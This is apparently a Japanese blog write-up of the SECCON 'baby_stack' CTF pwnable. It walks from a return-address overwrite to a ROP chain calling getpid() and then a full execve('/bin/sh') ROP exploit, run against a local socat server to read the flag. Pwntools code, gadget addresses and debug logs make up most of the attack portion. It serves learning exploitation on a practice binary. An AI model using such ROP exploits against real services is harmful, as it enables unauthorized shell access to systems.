INFO:pwnlib.tubes.process.process.140014571198672:Starting local process '/usr/bin/sh': pid 81006
DEBUG:root:b'Please tell me your name >> '
DEBUG:root:b'daisuke'
DEBUG:root:b'Give me your message >> '
DEBUG:root:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA'
DEBUG:root:b'Thank you, !\nmsg : \nunexpected fault address 0x41414141\nfatal error: fault\n'
INFO:pwnlib.tubes.process.process.140014571198672:Stopped process '/usr/bin/sh' (pid 81006)

システムコールのgetpid()を呼び出すスクリプト

いきなり、シェルを取得するのは難しいので、まずは、簡単なシステムコールを呼び出すだけのスクリプトを作ります。

getpid() とは、現在のプロセスID を取得する関数で、引数は無く、戻り値にプロセスID が格納されます。

システムコールの番号は、「/usr/include/x86_64-linux-gnu/asm/unistd_64.h」に書かれています。以下のように、39(0x27)のようです。

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep getpid
#define __NR_getpid 39

システムコールを呼び出すには、RAX に 39(0x27)を設定して、システムコール命令を実行すればいいはずです。

使用するROPガジェットは、以下の 2つです。

0x4016ea: pop rax ; ret ; (1 found)
0x456889: syscall ; ret ; (1 found)

まず、RAX に値を設定するため、1つ目の ROPガジェットのアドレスをリターンアドレスに上書きします。main.memcpy関数の ret命令が実行されると、リターンアドレスを pop して、そのアドレスにジャンプするので、1つ目の ROPガジェットにジャンプします。そこで pop した値が RAX に設定されるので、リターンアドレスの次のスタックの位置に、RAX に設定したい値を設定しておけばいいはずです。

その後、ret命令が実行されるので、その次のスタック位置に、2個目の ROPガジェットのアドレスを書いておけばいいということになります。

では、以下のように実装しました。main関数を変更しただけです。最後(0x41414141 で落ちる)まで動いてることを確認するために、0x41414141 も残しています。

それから、getpid を呼び出しても、その結果を標準出力する実装が無いので、そのまま動かしても、getpid が呼び出されたかを確認することが出来ません。そこで、strace を使います。strace は、$ sudo apt install strace でインストールできます。val = input() は、実行を一時的に止めて、プロセスID を取得して、strace の対象として指定するためです。また、overwrite_ret_adrs の方にも、同様に、一時的に停止するコードを追加しています。overwrite_ret_adrs も動かしてみて、strace の結果を比較してみます。

def main( args ):
    
    if args.ope is None:
        
        proc = prologue( args.prog )
        
        check_sof( proc )
    
    elif args.ope == "overwrite_ret_adrs":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        adrs = b'\x41\x41\x41\x41'
        overwrite_ret_adrs( proc, adrs )
    
    elif args.ope == "exec_syscall":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        ropchain = b''
        
        ropchain += p64( 0x4016ea ) # pop rax; ret;
        ropchain += p64( 0x000027 ) # 0x27(39) getpid()
        ropchain += p64( 0x456889 ) # syscall; ret;
        ropchain += p64( 0x41414141 )
        overwrite_ret_adrs( proc, ropchain )
    
    else:
        raise

では、動かしてみます。まず、overwrite_ret_adrs の方です。入力待ちまで動かします。

$ python baby_stack.py --ope overwrite_ret_adrs --prog ../../../SECCON/baby_stack/baby_stack --debug
args=Namespace(ope='overwrite_ret_adrs', prog='../../../SECCON/baby_stack/baby_stack', debug=True)
[+] Starting local process '/usr/bin/sh': pid 161399

次に、プロセスID を調べて、strace を実行します。プロセスID は、それらしいのが 2つありますが、sh -c が付いてない方が、確認したいプロセスです。そのプロセスID を指定して、strace を実行開始します。

$ ps -ef | grep baby_stack
user      161396   83645 29 20:36 pts/2    00:00:01 python baby_stack.py --ope overwrite_ret_adrs --prog ../../../SECCON/baby_stack/baby_stack --debug
user      161399  161396  0 20:36 pts/6    00:00:00 sh -c ../../../SECCON/baby_stack/baby_stack
user      161400  161399  0 20:36 pts/6    00:00:00 ../../../SECCON/baby_stack/baby_stack
user      161406   83937  0 20:36 pts/7    00:00:00 grep --color=auto baby_stack

$ sudo strace -p 161400
strace: Process 161400 attached
read(0, 

適当な文字を入力して、overwrite_ret_adrs の続きを動かします。従来と同じ結果です。

 a
a
[*] Stopped process '/usr/bin/sh' (pid 161399)

$ cat baby_stack.log
INFO:pwnlib.tubes.process.process.140290305761808:Starting local process '/usr/bin/sh'
INFO:pwnlib.tubes.process.process.140290305761808:Starting local process '/usr/bin/sh': pid 161399
DEBUG:root:b'Please tell me your name >> '
DEBUG:root:b'daisuke'
DEBUG:root:b'Give me your message >> '
DEBUG:root:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA'
DEBUG:root:b'Thank you, !\nmsg : \nunexpected fault address 0x41414141\nfatal error: fault\n'
INFO:pwnlib.tubes.process.process.140290305761808:Stopped process '/usr/bin/sh' (pid 161399)

strace の結果を見てみます。詳しくは分かりませんが、getpid が含まれていないことだけは分かります。

"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4088) = 413
futex(0x5a0150, FUTEX_WAKE, 1)          = 1
write(1, "Thank you, !\nmsg : \n", 20)  = 20
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
rt_sigreturn({mask=[]})                 = 0
write(2, "unexpected fault address ", 25) = 25
write(2, "0x41414141", 10)              = 10
write(2, "\n", 1)                       = 1
write(2, "fatal error: ", 13)           = 13
write(2, "fault", 5)                    = 5
write(2, "\n", 1)                       = 1
select(0, NULL, NULL, NULL, {tv_sec=0, tv_usec=1000}) = 0 (Timeout)
select(0, NULL, NULL, NULL, {tv_sec=0, tv_usec=1000}) = 0 (Timeout)
write(2, "[signal ", 8)                 = 8
write(2, "0xb", 3)                      = 3
write(2, " code=", 6)                   = 6
write(2, "0x1", 3)                      = 3
write(2, " addr=", 6)                   = 6
write(2, "0x41414141", 10)              = 10
write(2, " pc=", 4)                     = 4
write(2, "0x41414141", 10)              = 10
write(2, "]\n", 2)                      = 2
write(2, "\n", 1)                       = 1
write(2, "goroutine ", 10)              = 10
write(2, "1", 1)                        = 1
write(2, " [", 2)                       = 2
write(2, "running", 7)                  = 7
write(2, "]:\n", 3)                     = 3
write(2, "runtime.throw", 13)           = ?
+++ killed by SIGHUP +++

続いて、実装した exec_syscall を動かしてみます。入力待ちまで動かします。

$ python baby_stack.py --ope exec_syscall --prog ../../../SECCON/baby_stack/baby_stack --debug
args=Namespace(ope='exec_syscall', prog='../../../SECCON/baby_stack/baby_stack', debug=True)
[+] Starting local process '/usr/bin/sh': pid 161689

先ほどと同様に、プロセスID を調べて、strace を実行します。

$ ps -ef | grep baby_stack
user      161686   83645 29 20:47 pts/2    00:00:01 python baby_stack.py --ope exec_syscall --prog ../../../SECCON/baby_stack/baby_stack --debug
user      161689  161686  0 20:47 pts/6    00:00:00 sh -c ../../../SECCON/baby_stack/baby_stack
user      161690  161689  0 20:47 pts/6    00:00:00 ../../../SECCON/baby_stack/baby_stack
user      161696   83937  0 20:47 pts/7    00:00:00 grep --color=auto baby_stack

$ sudo strace -p 161690
strace: Process 161690 attached
read(0, 

適当な文字を入力して、exec_syscall の続きを動かします。最後まで動いています。

 a
a
[*] Stopped process '/usr/bin/sh' (pid 161689)

$ cat baby_stack.log
INFO:pwnlib.tubes.process.process.139763870277072:Starting local process '/usr/bin/sh'
INFO:pwnlib.tubes.process.process.139763870277072:Starting local process '/usr/bin/sh': pid 161689
DEBUG:root:b'Please tell me your name >> '
DEBUG:root:b'daisuke'
DEBUG:root:b'Give me your message >> '
DEBUG:root:b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x16@\x00\x00\x00\x00\x00'\x00\x00\x00\x00\x00\x00\x00\x89hE\x00\x00\x00\x00\x00AAAA\x00\x00\x00\x00"
DEBUG:root:b'Thank you, !\nmsg : \n'
INFO:pwnlib.tubes.process.process.139763870277072:Stopped process '/usr/bin/sh' (pid 161689)

strace の結果を見てみます。getpid() が実行されていることが確認できます。上の出力では、0x41414141 が出ていませんでしたが、こちらを見れば、同じように、0x41414141 で停止していることが分かります。

"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4088) = 441
futex(0x5a0150, FUTEX_WAKE, 1)          = 1
write(1, "Thank you, !\nmsg : \n", 20)  = 20
getpid()                                = 161690
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
rt_sigreturn({mask=[]})                 = 161690
write(2, "unexpected fault address ", 25) = 25
write(2, "0x41414141", 10)              = 10
write(2, "\n", 1)                       = 1
write(2, "fatal error: ", 13)           = 13
+++ killed by SIGHUP +++

想定通り、システムコールの getpid() を呼び出すコードを、baby_stack の脆弱性を利用して実行することが出来ました。

シェルを起動するコードを実装する

要領は同じです。main関数を変更し、シェルを起動する部分を実装した shell関数を追加しました。プログラムの流れは、コメントに記載しました。

def main( args ):
    
    if args.ope is None:
        
        proc = prologue( args.prog )
        
        check_sof( proc )
    
    elif args.ope == "overwrite_ret_adrs":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        adrs = b'\x41\x41\x41\x41'
        overwrite_ret_adrs( proc, adrs )
    
    elif args.ope == "exec_syscall":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        ropchain = b''
        
        ropchain += p64( 0x4016ea ) # pop rax; ret;
        ropchain += p64( 0x000027 ) # 0x27(39) getpid()
        ropchain += p64( 0x456889 ) # syscall; ret;
        ropchain += p64( 0x41414141 )
        overwrite_ret_adrs( proc, ropchain )
    
    elif args.ope == "shell":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        shell( proc )
    
    else:
        raise

def shell( proc ):
    
    ropchain = b''
    
    adrs_bss = 0x0059f920
    
    ropchain += p64( 0x4016ea ) # pop rax; ret;
    ropchain += p64( adrs_bss ) # RAX に BSS の開始アドレスを設定 (次の [rax+0x39] が変な場所に書かないようにするため)
    ropchain += p64( 0x470931 ) # pop rdi; or byte [rax+0x39], cl; ret;
    ropchain += p64( adrs_bss ) # RDI(第1引数) に BSS の開始アドレスを設定
    ropchain += p64( 0x4016ea ) # pop rax; ret;
    ropchain += b'/bin/sh\x00'  # RAX に b'/bin/sh\x00'を設定
    ropchain += p64( 0x456499 ) # mov qword [rdi], rax; ret;
                                # BSS の開始アドレスに b'/bin/sh\x00'を書き込む
    
    ropchain += p64( 0x4016ea ) # pop rax; ret;
    ropchain += p64( adrs_bss ) # RAX に BSS の開始アドレスを設定 (次の [rax-0x77] が変な場所に書かないようにするため)
    ropchain += p64( 0x46defd ) # pop rsi; ret;
    ropchain += p64( 0 )        # RSI(第2引数) に 0 を設定
    ropchain += p64( 0x4a247c ) # pop rdx; or byte [rax-0x77], cl; ret;
    ropchain += p64( 0 )        # RDX(第3引数) に 0 を設定
    ropchain += p64( 0x4016ea ) # pop rax; ret;
    ropchain += p64( 0x3b )     # RAX(システムコール番号) に 0x3b を設定
    ropchain += p64( 0x456889 ) # syscall; ret;
    overwrite_ret_adrs( proc, ropchain )
    proc.interactive()

それでは、動かしてみます。無事、シェルを起動することが出来ました!

$ python baby_stack.py --ope shell --prog ../../../SECCON/baby_stack/baby_stack --debug
args=Namespace(ope='shell', prog='../../../SECCON/baby_stack/baby_stack', debug=True)
[+] Starting local process '/usr/bin/sh': pid 161853
 a
a
[*] Switching to interactive mode
$ ls
baby_stack.log  baby_stack.py
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process '/usr/bin/sh' stopped with exit code 0 (pid 161853)
[*] Got EOF while sending in interactive

サーバに侵入してフラグを獲得する

最後に、リモートで侵入して、フラグを獲得してみます。

main関数を変更し、prologue_remote関数を実装しました。

def main( args ):
    
    if args.ope is None:
        
        proc = prologue( args.prog )
        
        check_sof( proc )
    
    elif args.ope == "overwrite_ret_adrs":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        adrs = b'\x41\x41\x41\x41'
        overwrite_ret_adrs( proc, adrs )
    
    elif args.ope == "exec_syscall":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        ropchain = b''
        
        ropchain += p64( 0x4016ea ) # pop rax; ret;
        ropchain += p64( 0x000027 ) # 0x27(39) getpid()
        ropchain += p64( 0x456889 ) # syscall; ret;
        ropchain += p64( 0x41414141 )
        overwrite_ret_adrs( proc, ropchain )
    
    elif args.ope == "shell":
        
        proc = prologue( args.prog )
        
        val = input()
        print( val )
        
        shell( proc )
    
    
    elif args.ope == "remote_shell":
        
        proc = prologue_remote( args.prog )
        
        val = input()
        print( val )
        
        shell( proc )
    
    else:
        raise

def prologue_remote( prog ):
    
    # サーバに接続
    proc = remote( '127.0.0.1', 15285 )
    
    # "Please tell me your name >> "
    logging.debug( proc.recv(timeout=1) )
    
    ss = b'daisuke'
    logging.debug( ss )
    proc.sendline( ss )
    
    # "Give me your message >> "
    logging.debug( proc.recv(timeout=1) )
    
    return proc

では、動かしてみます。まず、冒頭でやったように、socatコマンドで、サーバを起動しておきます。

$ socat tcp-listen:15285,reuseaddr,fork, EXEC:"./baby_stack"

続いて、実装した Pythonスクリプトを実行します。動きました!シェルが起動できて、同じディレクトリにあるフラグを開くことが出来ました!長かった!

$ python baby_stack.py --ope remote_shell --prog ../../../SECCON/baby_stack/baby_stack --debug
args=Namespace(ope='remote_shell', prog='../../../SECCON/baby_stack/baby_stack', debug=True)
[+] Opening connection to 127.0.0.1 on port 15285: Done
 a
a
[*] Switching to interactive mode
$ ls
baby_stack
flag.txt
peda-session-baby_stack.txt
question.txt
$ cat flag.txt
SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 127.0.0.1 port 15285
[*] Got EOF while sending in interactive

だいぶ長かったですが、今回は以上です。

おわりに

今回は、「入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」の Pwnable問題を書籍を見ながら、実際に実装して、動作を確認しました。

初めての Exploitコードの実装と侵入でしたが、参考書籍のおかげで、最後まで動かせました。記事を見直すと、すんなりやってるように見えますが、書いてない試行錯誤がかなりありました。プロセスID の進んでる量でお分かりかもしれません(笑)。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/pwnableより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14